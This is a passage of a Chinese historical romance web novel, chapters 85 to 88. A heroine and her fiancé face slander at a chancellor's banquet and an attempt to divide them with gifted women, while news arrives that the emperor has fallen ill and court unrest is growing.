薛府管事诚恳道:“我家主人有请二位到府上做客,为此次惩治奸臣庆功,这其中都多亏了郡王的功劳,听闻妧娘子在对方手中吃了不少苦,也想结识了一下女中豪杰,特来派我上门邀请,还请妧娘子同郡王一起前往赏光。”
“明晚酉时黄昏之后,静候二位光临。”
第85章 口舌之卑。
管事一走,妧枝目送他的背影离开妧府,忽而让府里的管事也下去,“以后薛府的人来,一概不接待,就说主人不在家,做不得主。也不要开门,听见了吗?”
妧府管事虽疑惑还是照办。
待厅堂里只剩她跟历常珽,妧枝问:“这是怎么回事,你……何时与薛府有往来?”
妧枝与薛府的关系早已势不两立。
历常珽也应知情,但方才薛家管事的话里,都表示出他与薛府有了联系。
历常珽看着妧枝,她没有生气,仅仅是表现出不解纳闷,想要了解这到底是怎么回事。
妧枝猜测,“是不是为了救我,你与薛府做了交易?”
能让商榷安贬官离京,光靠历常珽一人力量还是太单薄了,他定然有所付出。
只是没想到会是薛府。
历常珽未料妧枝心思通透到这种地步,他喉咙卡壳,却感受到欣慰感动,但一想到薛瑥甫这次竟然会发请帖到妧枝手上,便觉得对方此举颇为不同寻常。
他只好将真相告诉妧枝,“你被困在他身边时,我去上奏,亦去了御史台弹劾,但都无功而返。”
“后来薛瑥甫主动邀我上门,向我打听有关薛明烛的下落,他知晓你父亲与薛明烛的私事,久不见女儿消息,便怀疑薛明烛出了不测。只是妧嵘已经身在狱中,他听说你在家中做主已久,于是怀疑起你来。”
“可是如今你家中只有你阿母和弟妹,我不想他们受到薛瑥甫注意,于是借机让他把心思放到濉安王府上,以此救你出来,为他除掉心头大患……”
朝堂势力不止一股,即便薛瑥甫为宰执,却也有不肯被他压制的臣子,濉安王虽近些年势弱做派温和,但他一直怀有抱负,且又有商榷安在,即便父子不和。
在外人看来,他们始终是一体的。
妧枝沉默,她知道历常珽能将她从濉安王府带走的程度,定然难如登天,她怪责不了他的做法,朝堂之上亦不是他能说了算。
关键时刻,与薛家交往,无可厚非。
只是妧枝轻问:“薛明烛,被救回去了?”
她还记得当初在私宅里发现她的模样,那副惨状被薛家带回去,也就说明那边极有可能知情薛明烛的下场是谁做的。
历常珽握住她的手,安慰,“她眼下状况并不好,听大夫说身子虚弱亏损许多,各方五官四肢体感都弱于常人。”
只要妧枝不出现在她面前,薛明烛便指认不了妧枝曾经对她做过什么。
可如今薛家登门,薛瑥甫执意派人请他们做客,这次是历常珽恰好与妧枝同一时刻出现。
那万一下次,家中只有妧枝和平氏他们呢?
“这次庆功宴,应当是与他一派的同僚组织的,他虽派人来请,但你可不必去,我来安排就好。”
不管薛瑥甫出于什么目的,历常珽也不想妧枝去薛家,于是做主拿过她的帖子,要帮她回绝了。
但妧枝在他动手时忽地抓住他的手,“我若不去,岂不是引得薛府那边不满?一次可行,第二次第三次,只怕那位薛宰执会怪罪下来。”
“不要给了他怪罪我们无礼的机会。”不要让对方抓到他们任何把柄。
历常珽从妧枝眼中看出她的心思,她竟反过来安慰他,“就算我去也没事,若是还有外人在,总不可能他们会当着你的面伤我。况且,薛家没有证据,证明薛明烛出事出自我手。”
若有证据,也不会这样百般试探了。
历常珽倏然静默,妧枝一向有自己的主张,她并不是那等坐以待毙的人,“是我考虑不周了。倒也好,有我陪你,不会让你单枪匹马就去……”
历常珽许下承诺,在天黑以前他从妧家离去,与妧枝约好等明日酉时之前就来这里接她,二人一同前往薛府做客。
这夜妧枝没怎么睡,她归家多日,心里一直很安宁。
但是今晚她在榻上多了些辗转反侧。
鼻息间仿佛总能闻到一丝另外一人的气息,被置身桎梏在一个炽热而坚实的怀抱。
对方的第二道呼吸声,有时很重,有时很轻。
在习惯了与她同榻而眠后,每当妧枝从他怀中醒来时,昨夜一晌贪欢的对方鼻尖总会抵着她脖颈,有时会换做后背,令她的肌肤一阵凉一阵热。
那能溺毙人的拥抱如今已经远离,妧枝在暗中睁开眼,果然一切都是幻觉。
她只因即将去到薛府做客,而倍感压力。
到了第二日,妧枝气色果然不是很好,她睡得太晚,多梦且杂乱,光怪陆离。
于是只能往脸上扑些粉,上了一些妆让自己看起来好过些。
酉时的前半个时辰,历常珽如约过来早早来到府上接她,妧枝提前同平氏说过,今晚将与历常珽去旁人府上做客。
只是未提是宰执府,即使说了薛家的名头,平氏亦察觉不出异常。
她不懂其中瓜葛,而今薛瑥甫要是只将敌意放在她一人身上到没什么要紧,若是连累平氏他们为难,那才是大祸临头。
薛府。
整个巷落都住着勋贵人家,薛府沉积多年,家什也极为丰厚,薛瑥甫在家设宴,邻里竟都上门争相拜访。
妧枝和历常珽来到他府上时,看到那位老者身边围绕的一群客人,方才意识到今日于妧枝来说,许是鸿门宴,可于他们这些大人物,不过是平日最寻常不过的一次宴酬寒暄。
也许,薛瑥甫更未曾将她放在眼里。
“常珽来了。”
听到下人来报,被宾客簇拥着的薛瑥甫等人瞬时朝着妧枝和历常珽看来,夜色虽暗,但薛府宅内灯火通明,即使在室外的院子里,也都将四方角落都照的清清楚楚。
妧枝在历常珽身旁更是暴露无遗。
“宰执,诸位大人也在。”
历常珽带着妧枝过去招呼,众人打量着他们,尤其妧枝。
薛瑥甫道:“这位,想必就是传言中的妧嵘之女吧?”
话说,瞬间人们的视线停留在妧枝身上。
历常珽闻言,代为说道:“这位是妧枝,亦是我的未婚妻。”
这般表态,相当于回应了薛瑥甫意有所指提到的“妧嵘之女”,谁不知妧嵘如今是罪臣,关在狱中生死难料。
擅于看碟下菜的官场众人,自然会在妧枝身份表露出来后对她施以眼色。
只有这般道,才能令人将目光转移回到历常珽身上。
妧枝在旁简单行礼后,被历常珽护在身侧,薛瑥甫示意道:“今日宾客众多,我与诸位大人说好,就在此处谈古论今,至于妧家这位小娘子,她是女客。就在屋内待着吧,让我家夫人她们招待就是。”
提到要将她与历常珽分开,妧枝朝着院子另一处,亮着光的内室望去。
外面婢女守候,而屋中看着也不止一位女子,从窗户处瞧,可以窥见她们桌上也摆了不少丰富的瓜果吃食。
妧枝和历常珽相视一眼,只听历常珽道:“阿枝见外,有些惧生,还是让她就留在我身边比较好。”
薛瑥甫睇着他们片刻,倏然一笑:“常珽还真是护花之主啊。我本还想让我夫人为妧娘子引荐一下其他夫人,既然这般生疏,看来只能作罢了。”
说着摇了摇头,似是颇为惋惜妧枝不去与那群贵妇人凑做一堆。
曾在濉安王妃身边,跟着应酬交际的妧枝如何不能敏锐察觉出薛瑥甫话底的含义,可在场的臣子无一不是比历常珽年长的。
即便是夫人,也都一样。
即使妧枝去了又如何,已经熟悉的妇人们不一定能接纳的了她。
薛瑥甫这般激她,妧枝始终垂眉低眼,平平静静,不想给自己和历常珽生事惹麻烦。
但光她一个女子,留在男子堆里也不是什么好事。
在薛瑥甫招呼大家重新就座后,宣布道:“既然宾客已至,那就开席吧。诸位今夜,可在我薛府,不醉不归。”
说罢,便有薛府安排的舞姬和乐师上来为众人献艺。
既有歌舞相伴,又有美酒佳肴,薛瑥甫邀请来的宾客都兴致大开,情到深处,酒过三巡,说出的话,难免越来越百无禁忌。
妧枝与历常珽始终在薛瑥甫安排的位置下,低调而平静的坐着,听着他人议论这次朝堂上的风波。
“商榷安离京数日,被贬出城的事,消息下来当日我还不大肯信,没想到圣人这次当真愿意痛下狠手,斩去右臂……”
“只怕此次贬黜是重罚轻放,再过月余又给他调回京都。”
“呵,说的容易,他以为京都是他想回就回的?此次贬黜三年为期,若不能任满,如何能服众。”
妧枝亲耳听见他们议论这个离她远去很久的名字,即便当时未能亲眼所见商榷安离京的场面,但也能从眼下这些臣子讥嘲讽刺的议论声中感受出官场凶险。
就在此刻,就坐在他们附近的人中,似是目光一瞥,看到她与历常珽坐在一块,却如同贞洁烈女沉默寡言,不惹事生非。
偏偏旁若无人一般,更加讨嫌,“你可知这次扳倒那奸臣这当中还有人出了不少力?”
说着,同伴向对方使着眼色,朝妧枝看来。
通明的灯笼下,年轻标致的娇丽女子被晚风包裹,静坐在椅子上,瞧着秀婉可人。
“就是她,锦瀚郡王的未婚妻啊。”
“就是她被奸臣掠走,听说是私藏在他居所内,也不知如今清白可还在?”
“孤男寡女在一起,定然是日夜同寝,清白早失,”说话的人带着酒气,浑然不顾还有他人在场,直接鄙夷道:“要我说,都失了贞洁,还何必要娶?送给我都不要!”
寂静的风里,将这些人鄙夷的话送进妧枝耳畔。
她静静看着这些酒后便丧失了礼仪的臣子,透过丑陋的面孔和打量戏谑的目光,看到了混杂在当中的老者,薛瑥甫。
这位笑容斯文得体的老人,为了女儿报复,任由在场的臣子口不择言攻讦别人的未婚妻。
这就是薛明烛的父亲想给她的难堪,甚至他不屑一顾自己去动手,就想让她在他人口舌中自卑低下头,无地自容。
第86章 在意。
这些日子妧枝回到妧家后,她和历常珽之间并未细提被商榷安掠走后发生的事宜,先前不曾,如今更不曾。
只要历常珽问,妧枝亦不打算隐瞒商榷安对她做过的事。
她的确是失去贞洁了,但就好像有着默契和逃避一般,历常珽并未追问,甚至没有想要从她口中探知那些不为人知的过程。
而今即便有可能猜到的真相,被旁人谈笑讥嘲着说出来,忽地一声响动,只见历常珽赫然起身,连撞倒跟前的茶桌都不顾,便走向多嘴多舌的同僚,拽住对方衣领在众人惊呼声中挥出一拳,“常珽!”
薛瑥甫见状叫住他制止。
更多人出来劝和道:“历大人,同朝为官,不宜生事啊!”
“历郡王,这可是在宰执府上,怎可对着同僚大打出手啊!”
“快将他们拉开,快快……”
妧枝也愣住,像是未曾见过历常珽这样一面,她担心那些人拉帮结派暗自对历常珽动手,于是上前赶到他身边,看看他与人动手后有没有伤到哪儿。
只听历常珽沉声对着咒骂他的臣子道:“我今夜携未婚妻登门做客,不是想听你在此大放厥词,恶言相向的,两位大人若是下回还敢在我与阿枝的面前出言不逊,那就别怪我不客气了!”
“耻辱!也是上年纪的忠厚之辈了,怎么还与年轻人计较!”
“我看他们是酒喝多了,神志不清了,常珽别与他们见怪,还是带着妧娘子重新坐下去吧,这边我们来处理。”
也许是被同辈之人说的面红耳赤,感觉羞辱,被点名的两个臣子在瞧见妧枝也在此后,借着醉酒的名义,登时喷着酒气指着她道:“什么叫出言不逊,谁人不知你这位娘子已经是旁人用烂的货色?”
“又不是贞洁烈女,你还护的这么紧?既然不服气,有本事去找真正污了她清白的人算账去,你与我们呼喊什么?!”
“我们说的哪句不是实话……诶,你!”
只见一壶滚烫的茶水,倏然被一只玉手揭开壶盖,朝着口出恶言臣子泼去,吓得旁边还想劝和的其他人眼疾手快躲到一旁,只剩那两人遭殃。
然而作出此举的妧枝被所有人惊讶无比地盯着,全场除了对方哀嚎,只剩寂静。
“你!”
妧枝看向为首站在人群中,却一直袖手旁观的薛瑥甫,“宰执大人,身为百官之首,不打算管管朝中大臣,是想任由他们对着无辜的同僚和一个无辜的女子恶意中伤?这莫非就是朝臣的风气?”
经由她出声,看了太久好戏的薛瑥甫终于开口,“快扶两位大人下去,处理干净。”
那人还想再骂,都被旁人呵止住。
“噤声吧,宰执发话,莫要惹他不悦!”
薛瑥甫对妧枝和历常珽道:“莫要见怪,今夜是他们失礼了,常珽,带着你的妧娘子请坐,用些茶点,切莫与他们计较!”
话语中,已窥听出对方虽然好言相劝,却是更多想让妧枝他们不要在意,已然是偏帮了另一方的意思。
只是方才,历常珽已经呵止了同僚。
而妧枝又来动手,而今再不好当着其他臣子的面,追究薛瑥甫是不是不分黑白,要这般和稀泥。
且他们还在薛府,妧枝发作过,再有不满也只能看向历常珽,还暗自扯了扯他的衣角,让他消消气,以免继续得罪薛瑥甫对他不利。
下人前来收拾残局,历常珽看了眼妧枝,做主道:“扰了诸位兴致,恐有不便,我与阿枝就不打扰诸位了。”
“阿枝,回家。”
当着薛瑥甫的面,二人告辞。
从庭院里离开,妧枝回头望了下背后的宴席,下人还在洒扫,宾客已经回坐,而薛明烛的父亲还在高深莫测地注视着他们,像是再说,此事轻易不会了结。
妧枝有了一丝更不详的预感。
回去路上,历常珽与她都没怎么交谈,除了妧枝问过历常珽在动手时有没有受伤,其余时候历常珽都在沉默,而妧枝目光总看向他,却犹豫着该不该打扰。
到了妧家门口,历常珽照常送她进去。
在踏入通往正常的石子小路时,妧枝忽然道:“若你想知道我在他身边发生了什么,我也可以告诉你的。”
历常珽若是想问商榷安有没有碰过她,妧枝都不打算隐瞒。
她仰头朝历常珽看去,却发现他一直复杂地凝视着她,眼中有着悔恨愧疚,更多的还出现一丝愤怒。
然而在妧枝的目光送过来时,历常珽竟有了一丝短促的回避,“何必在意他人说了什么?我并不想知情,阿枝,你不必说的。”
妧枝:“……”
他们之间,从开始就像君子之交,温柔体谅,历常珽不是那等孟浪之人,体贴宽厚。
做过最亲密的,也只是和妧枝抱在一起,他守着礼仪,妧枝也想在新婚之夜行夫妻之礼。
可到底还是被人从中作梗,破坏了这样的期望。
时至今日,妧枝一直犹豫要不要道出她已非处子之身,而历常珽却逃避不想计较此事。
是逃避还是不想面对,妧枝安静下来,不再言语。
而似是不想让她伤心,历常珽走上前来,握住她的手,“我送你回房间吧。”
到了房门口,妧枝看着历常珽抓着她的手,动了动。
她主动抽离,体贴道:“好了,不要送了,天色不早,你也快些回府吧。”
若是往日,妧枝一向主动,还会说笑,让他在府上去弟弟妧酨那借宿一宿。
但今日两人都知晓彼此不太对劲,或许都需要冷静一下,但历常珽在妧枝将手抽走后,却站在原地不动了。
他艰涩而歉疚地道:“我没有别的意思,阿枝,你恼我了吗?”
他非是嫌弃妧枝,曾委身于他人,即便如此,妧枝也是被迫的那个,而是……
若要谈及这个,就代表着他是怎样无能无用,让自己的未婚妻被他人夺走的,旁人的言语,都如针扎般提醒着他,愤恨与怒火更让他难以面对自己。
所以他希望妧枝不要再提,过去就当它过去。
历常珽挡在房门前,意在与妧枝解释清楚,而妧枝却道:“若我真是他们所说那样不清白了呢?若这般的言语时常出现在你我当中,有一次便有两次,若回回让你愤怒难当,你能不在意多久?”
若无薛瑥甫示意,那些人绝不敢当着他们的面那般无礼。
他抓住的是妧枝的把柄,失了清白的把柄,妄想让这样的裂缝致使二人分离。
“阿枝。”
眼看妧枝要关门,历常珽飞快拦了一下,面露惭愧,诚恳道:“我并未放在心上,你信我。”
他若真是那等在乎名节的男子,早在妧枝第一次出事时便退避三舍了。
但妧枝俨然心中有了芥蒂,或许难过自己那一关,觉着对不住历常珽,并不肯相信。
“我知道了,今夜不早了,你也该累了,快回去吧。”说着,她拨开历常珽搭在门框上的手,将门缓缓合上。
妧枝进了屋,历常珽还站在她门前,像意识到他错了般,痴站着,一直到屋内熄了灯,他才迟疑地转身离去。
翌日一早。
妧枝晨起,坐在桌前,平氏罕见看她心绪不比往常精神,疑惑问:“你这是怎么了?这些小菜你以往最爱吃,今日怎地一点都不动了?”
妧枝淡声道:“胃口不好,阿母不必担忧。”
平氏:“可我听闻,昨夜常珽送你回来,你二人是不是闹了什么别扭?”
早上她听下人说起锦瀚郡王,历常珽是失魂落魄从妧枝院子中离开的。
这方一波一平,平氏不想风波再起。
二人婚期将近,可不要再出变化的好。
妧枝没有回应,她与历常珽的干系,也称得上是同甘共苦过来的,一时间闹了别扭,家中下人察觉到并不意外。
只是她不想与平氏谈论太多,她唯一庆幸的是她没有因此怀孕。
平氏最后劝道:“常珽对你多加体谅,他对你是真心实意,阿枝,就算再有不满的事,也不要往心里去。”
妧枝听进了心里,她实则也思索了一夜,只有历常珽才能让她因旁人的话而不舒服,担心焦虑。
她失身的事,换做任何男子,都会难以释怀。
而历常珽陪她走过这么多日子,她不该因此和他伤了和气的。
到了饭后,妧枝用过早食,又回房梳理了一番,一个时辰后便从妧家出了去。
妧府的车夫坐在外头,问:“大娘子想去何处?”
妧枝:“郡王府。”
话落,马车向着繁华大街驶去。
半刻后,郡王府的管事迎着妧枝进门,恭恭敬敬道:“妧娘子来了,郡王一早便去上朝了,还未回来,他叮嘱若是娘子上门,可在他卧房中等他。他很快就会回来。”
有了上回的失误,担心妧枝出事,这回妧枝走到哪,管事便跟到哪儿。
身边总要有人看着,免得出现意外。
并不介意多了一双眼睛守护着,妧枝熟门熟路走进去,“那我就在此等他。”
到了近午,府里的吃食都摆了满桌,婢女精心伺候,管事听候吩咐,妧枝也从历常珽的书架上翻阅了一两本古籍。
等下人来禀告,历常珽回来后。
妧枝从房里出去,走到前门迎接,然而让人意想不到的是,历常珽前脚刚到,后脚便有人与他一起进来。
此人并不面生,还曾在妧家见到过。
“还请郡王莫要推辞,这次宰执念及昨夜宴会上招待不周,这才让我前来代他赔罪。”
管事招招手,“还不快来见过郡王。”
只见从大门外,忽然走出两位容貌姣好,玲珑姿态的女子,上前向历常珽行礼。
“此二女性情温厚,善解人意,”特意看了眼不远处的妧枝,薛府的管事说:“必不会招惹是非,且都还是一张白纸,请郡王笑纳。”
第87章 病倒。
“见过郡王。”
那两个身段容貌都不俗的女子来到历常珽跟前,在妧枝注视下露出动人含情的笑,羞涩地往历常珽身边靠近。
历常珽倏然皱眉往一旁躲开,随即抬眸朝妧枝惊讶而在意地看过来,“阿枝!”
薛府的管事顺着历常珽的方向,将目光落到不远处注视着一幕的妧枝身上,“妧娘子也在呢。”
“宰执奉我前来给郡王为昨夜之事赔罪,还请妧娘子体恤。”
历常珽沉声道:“把人带走,这份赔礼本王不需要。”
薛府管事还在谦虚,“郡王不必忧心,此二人都是干净出身,且贴心懂事,不会为郡王惹来麻烦。若是不喜欢,放在府中角落里也好,让她们自个儿待着就是。”
“她们琴棋书画都略通一些,可比一些不懂事的女子要强许多……”
“来人。”历常珽不悦吩咐,既然劝不听,只能命府里下人将其赶走。
“郡王?”薛府管事见历常珽动了真火,终于见好就收。
“既然郡王不肯接受宰执好意,那在下只好就此回去复命了。”
“……”
忽而,只听背后传来一道轻盈的脚步声。
妧家的那个女娘不知怎么越过历常珽,来到他们身后。
“薛宰执也是一介文臣,原来在安抚下官上面,竟也只会这些靠美色拉拢人心的手段?”
她走到薛府管事身后,在对方诧异扭头时眼神炯亮,与其面对面,忽地压低声响,“你可告诉你们主家,即便他送来十个百个女子,我也不怕。想折磨我?那就试试看。”
明知历常珽有了未婚妻,妧枝还此地。
当着她的面,薛府管事还敢这般明目张胆要给历常珽塞人,可不就是想挑拨离间,让她感到不悦,之后便能就此事像昨晚与历常珽争闹起来。
只能说,妧枝已不是上辈子没经过事的女子了。
她看得明白,且并不畏惧薛瑥甫的挑衅。
她相信历常珽不是那样的人。
在妧枝朝着薛府的人走过去时,历常珽便跟了过来,以防出现什么意外。
然而出乎意料,妧枝竟当场向管事宣告,这份胆气令历常珽不禁侧目,且感到复杂汗颜。
方才那一幕,历常珽还担忧妧枝会吃醋,与他心存偏见,没想到她还是察觉出了薛府这么做背后的意图。
这让他绷紧的心弦缓缓放松下来,手搭在妧枝肩上,对管事道:“回去告诉宰执,本王已经是有婚约在身的人,对旁的女子别无他想,以后若还是如此,那么我与宰执那边也就不好再往来了。”
薛府管事拱手听命,带着千挑百选,却露面不到片刻的两个女子退出郡王府。
大门就此关上,方才共同经历了一场插曲的下人安静离开。
前庭只剩妧枝和历常珽二人,他们四目相对,都感受到了薛瑥甫带来的隐患。
妧枝心绪逐渐平稳下来,主动提及,“昨天夜里,我不该那样对你,将你拒之门外。”
历常珽同样道:“是我不好,没能把话一次与你说清,让你感到不舒服。”
“方才的事,你不要往心里去。那些女子,我并没有多看一眼。”他急忙解释。
妧枝的确在有其他女子出现时,心中出现一丝愠怒。
然而此刻,在意识到薛瑥甫的意图就是想她与历常珽不和后,妧枝已经没有了多余的想法,“我不会往心里去,我信你不会那么做。”
“你不会真正让我伤心的。”妧枝容不下背叛,她父亲就是与薛明烛藕断丝连,私下通奸,背叛发妻在先。
历常珽是知道她的,他定然也不会越过妧枝心里那道红线,和旁的女子款曲。
而在薛府。
管事让人将带去的美人遣散下去,来到书房,扣响房门。
“进来。”
桌案旁,薛瑥甫站立于此,挥洒泼墨,一副闲云野鹤的景象。
而在听完管事在郡王府的来龙去脉后,停在管事禀告妧枝回应挑衅之时,“此女分毫不惧我等送上美色,还说即便来一百个,她都不甚在意。”
“泼妇。”薛瑥甫停下笔,随意将它丢置在案上,毁了刚才正当收尾的好一副稚童捉鳖图。
“若真不在意,又何必出来阻挠?”
管事道:“只怕是强要面子,嘴硬罢了。历郡王倒是于此女同一条心,不肯收下……”
薛瑥甫:“那些胭脂俗粉,他定看不上,此女虽与泼妇无异,却一定有吸引他的地方。打听一下,寻些相似的来,本官不信,这世上到还有什么真心。”
若有真心,他女儿又怎么会被区区一个妧嵘耽误了好些年。
想到此,薛府管事只见薛瑥甫脸上露出冷笑,“明烛因为她父亲,四肢已废,如今命不久矣,他们家却在庇护下不受牵连,如今都在享福,这笔账我怎好不与她清算。”
管事提醒:“可郡王那边,已经不悦……还威胁不再与主家往来。”
“那又如何?是他识人不清,这样的女子还肯娶。我只答应暂时不去动她,可不代表一世不去动她。放过她,谁来对得起我的明烛?”
薛瑥甫打断管事的话,即使与历常珽闹不和也没关系。
他们之间交易已经结束,若想让他网开一面,就得续上新的筹码。
否则,薛家不可能与妧家干休。
回家路上,妧枝下了马车,在城中护城河岸上行走漫步。
历常珽在不远处,炙烤烧饼的小摊上与老人身后的孩子说话,事后等吃的弄好,多给了些余钱放进孩子手中。
黄昏在即,妧枝正在桥上等他,好不容易解除二人之间的心事,历常珽不忍这么快送妧枝回府,便提出在护城河边的岸堤上走一走。
正当找到妧枝的身影,向她走去时。
忽而河岸道上快步出现一队官府人马,像是没看见他,情势着急又迫切的与他擦身而过,朝着城门外的方向疾驰而去。
而差点撞上历常珽的凶险景象,叫路边人群出现细微骚动。
好在他在危机时刻,稳住身形,令那对人马的身影只擦碰到他身体一角,并未伤的厉害。
在桥上妧枝过来后,历常珽悉心安抚,“放心,我大碍,只是有些许擦伤。”
妧枝执起他的手,才发现他手背上多了一道被缰绳挥斥碰到了的痕迹。
她拧眉道:“还是要上药,不然过会就会肿了。这些人是怎么回事,竟不知撞到人了吗?”
然而历常珽却望着刚才那些人离去的方向,满面思索,目光疑惑,“不对……”
妧枝:“什么不对?”
历常珽沉默。
官府骑行,远不该这样鲁莽,今日这队人马,历常珽回忆马背上的人,似有印象。
他缓缓对妧枝轻声道:“不是官府……而是宫中,为首的,是禁军护卫。”
妧枝不知其中脉络,出了此事,历常珽察觉出有异,于是不打算再护城河边漫步,而是先将妧枝送回去,他再去打探情况。
路上他给不解其意的妧枝解释道:“禁军乃是三军之一的圣上私兵,历来都是守卫帝王和宫中安危,若无命令他们不经常离开宫廷。突然出城,定然是出了什么大事。”
“阿枝,我得去看看到底是怎么回事。”
作为朝中官员,历常珽要拥有敏锐直觉,若非领头的他曾经在圣人身旁见过,怕是只会将今日路过的队伍当做寻常官兵。
妧枝看着历常珽变得肃穆的神情,也非不通晓道理,领会道:“若情况紧急,你可不必送我,先去忙你的,我自己回家便是。”
历常珽坚持道:“还是送你,等你归家我才安心。”
妧枝丢失两次,两次给他造成不少阴影,只有将她送回熟悉的地方,历常珽才能不会多想去办事。
妧枝归家后,历常珽的车马这才从妧府前离开。
夜色很快暗下来,在烛火燃烧中,灯笼照亮院子里每个角落。
夏夜蚊虫侵扰,被光亮吸引,如同飞蛾扑火,在下一刻被火光灼成一道烧焦的灰烟。
“哎呀,有虫!”
屋中,商唯真受到惊吓,从地上跳起来,在婢女赶来后,指着角落道:“在那,在那,好大一条多足虫!”
“娘子勿惊,奴婢这就去撒药。”
“这里,还有这里!呜……太多了,阿兄。”商唯真躲在婢女身后,朝着另一边的屋子方向喊,一直想引起那边屋内的注意。
被贬到这里以来,商唯真不仅睡不安稳,吃的也不好。
与在京都时天差地别,她已经许多年没吃过这样的苦头过过这样的日子了。
曾经在商榷安身边,兄长便能顶起一个天,即便是下地那等苦日子,也是商榷安去做。
他并未劳动过商唯真,叫她帮忙。
而今来到蛇虫鼠蚁最多的被贬之地,商榷安也劝过商唯真,让她回去,离开这里,但她咬牙说自己能坚持,商榷安便任她安之若之。
即使在府中,日子也并不好受。
人生地不熟,且气候不适,就连身边下属在来不久后,也都得过上吐下泻的热症。
而商榷安身强体健,并未得到幸免。
只是在挺过来之后,对此地环境适应许多,即便出门一脚踩中令商唯真惊叫害怕的多足蜈蚣,虫汁四溅,亦不过眼也不眨地凝睇片刻,然后在门槛上将其蹭开。
商唯真的叫声从远处传来。
屋中商榷安与下属秉烛夜谈,待到下属迟疑地问:“商娘子好像有危险了,大郎君要不要过去看看?”
商榷安:“有婢女在,一点虫蚁而已,她能处理过来。”
曾经生活在竹庄,田地里也不缺这些东西,商唯真也是经历过的,无需因此而大惊小怪。
看他这般对待商唯真,不再像以前那么体贴致微,下属分别传递视线。
看来大郎君心思当真不在这里。
那边动静一静,房中收到消息的亲信接着话道:“京都急情,圣人病倒了,大郎君,眼下朝中并不安定,太子不曾遵照旨意,夺揽大权,打算代理朝政。大郎君,可要归京?”
第88章 秋来早。
跟随商榷安被贬官来到偏远之地的下属都看着他,每张脸上都透露出野心勃勃之意。
商榷安眸中同样充斥着野望,但他还是回绝了下属的建议,“还不到时候。”
“再等等。”
“……”在下属议事完毕,出去后,夜色下屋内气氛极静。
商唯真那边已经彻底安静下来,商榷安心无旁骛,从桌案走到窗前,他所在此地离京都三百里,已是远离都城。
远看是青山绿水,实际上这边地势险恶,难与繁华的州郡相比。
千里佳期,月凉如水。
商榷安对着京都的方向,神情隐入黑暗里,十分难辨。
“世母,近来城中乱事频生,还需看着点小妹和妧酨,最好不要多出门。”
白日,历常珽来妧家登门做客,在妧枝陪同妹妹玩乐,而妧酨在一旁充当吓唬人的物件时,历常珽对泡好茶端过来的平氏道。
正在此时,从街巷外出现一连串马蹄声,像是有队伍街道路过。
声势与平常人大为不同,更让平日清净的巷子多了些许诡谲的寂静。
在马声嘶鸣中,连拽着妧枝衣角玩闹的妧柔都惊觉不妥,感到不安的停了下来,抱着姐姐的腰站着不敢动。
而妧酨头上还戴着面具,也似被外面的动静吸引,将鹰嘴面罩摘了下来。
一直到这些声音过去,妧枝才带着弟妹,目光探寻,朝着历常珽跟平氏走来。
她招来刚才悄悄踩在梯子上,爬墙朝外偷看的下人,“刚才是怎么回事?”
妧府的下人来到主家身边,面上尤带着难以掩饰的恐惧,小声跟主家道:“今日是第三波了,小的也不知是什么人,只看见他们都身披盔甲,腰上都配有尖刀,气势很凶煞,怕被发现,再多的小的不敢再看了。”
妧枝等人静默。
待让下人离开后,历常珽才神情颇为凝重的揭开谜底:“是京都军营在调兵……宫中,圣上突然发病,而今在宰执辅佐下,由太子独揽大权,此举引得各方不安……”
“阿枝,近些日子,你和妧酨小妹他们多在家待着,若无要事,尽量还是不要出门了。”
他将对平氏说过的话,又同妧枝交代了一遍,眉宇间比往日多了几分忧虑之色。
眉头微皱,眼睑处微露疲倦,可见朝堂之上的不安宁蔓延到整个京都城中,令他身为其中官员之一也很久未曾休息好了。
妧枝理解地站到历常珽身边,手搭在他肩上替他揉按着,“圣上怎么会突然发病?那日护城河岸,你可以有打听到差些撞上你的,是什么人?”
历常珽闻着她身上的香气,连日来的疲倦在妧枝手下感到放松,他不禁闭上眼,回道:“这是秘辛。你凑耳过来,我悄悄告诉你。”
妧枝照他所说,将耳朵附过去。
历常珽:“宫中妃嫔下药,导致圣上中风所致,那个妃嫔已经处死,现在与她有关的人都被囚禁处置。至于那些私兵,是私自出城,暂且不知去向……”
妧枝闻言怔愣在原地,她还保持着俯首的姿势,没想到从历常珽口中得知的消息是这般骇人听闻。
怪不得近来城中都说不太平,她再次向历常珽看去,自从那日起,历常珽便仿佛有心事一样,没有好好安睡。
应当就是为宫中和京都城里的事端感到操心。
眼下竟呼吸平稳,靠着她睡着了。
平氏带着一子一女轻手轻脚从桌前退去,没有打扰妧枝与历常珽,只把这短暂静谧的午后留给他们。
待到历常珽醒来,看到妧枝还保持着护着他的姿态,站在他身后撑着他的身躯。
历常珽微微一愣,随即目光眷恋地从妧枝面庞划过。
察觉到他身体动静,妧枝垂眸往下俯视。
“你醒了?”
历常珽赶忙起身,扶住站了很久,腿有些酸麻的妧枝到椅子上坐下,“怎么不叫我,让你等了那么久?”
“累不累?”
妧枝依着他坐下来,眉头微拢,虽然在笑,却略含一丝担忧:“我看你近来颇为疲惫,不忍惊醒你,索性陪你站一会,也没什么打紧。”
“只是方才在想,你所说的那些话,宫中出了这样的大事,京都会不会乱?会不会涉及到你?”
在此没有旁人,历常珽可以放心和妧枝交谈。
只是妧枝的话,让历常珽也不好保证,“太子执政后,过于固执己见,引朝中大臣不满,两边都有异议。我在其中,职位并不高,一时并没有在意到我,只盼圣上能早日清醒,恢复过来,天下就能太平。”
妧枝听出他的担心,只能安慰,“也许太子年少,年轻气盛,刚接洽朝政才这般闹不和,等过段时日就会好了。”
“也许吧。”历常珽想起朝堂上那些大臣无尽的吵嚷争执,以及座上第一次登上高位的储君,那满是野心的目光,还有更多担忧没有在妧枝面前表露出来。
他心绪不宁,起身和妧枝道别,“今日还有些杂事未能处理,等过几日我再来看你。”
妧枝送他出去,二人在门前不舍惜别,直到历常珽目睹妧府的门紧紧合上,才从大门前离开。
日落而息,暮色在晚霞消散后,化作一片黑暗在天上聚拢。
在历常珽登门之后,未曾想到,妧枝会与他长达半个月都不得相见。
“京中局势不好,他应是脱不开身,也在忙。”平氏代为开解二人很长一段时日未见的烦恼。
妧枝体谅道:“我知道,我没有怪他的意思,阿母。”
平氏点头,她最不希望妧枝和历常珽出现什么变故。
也是不凑巧,二人再过几日就是婚期了,偏偏京都城内现在满是风雨,吓得许多人家都不敢轻易出门。
好在历常珽还是会偶尔让人捎信过来,一解思念。
在这样等待的日子里,妧枝处于备嫁之中,有了未来夫婿的提醒,她不轻易出门,府里也多请了一些强壮有力的看护。
日夜巡逻,以防夜里有浑水摸鱼的窃贼偷偷上门。
这日,妧枝亦安分待在家中陪伴平氏他们。
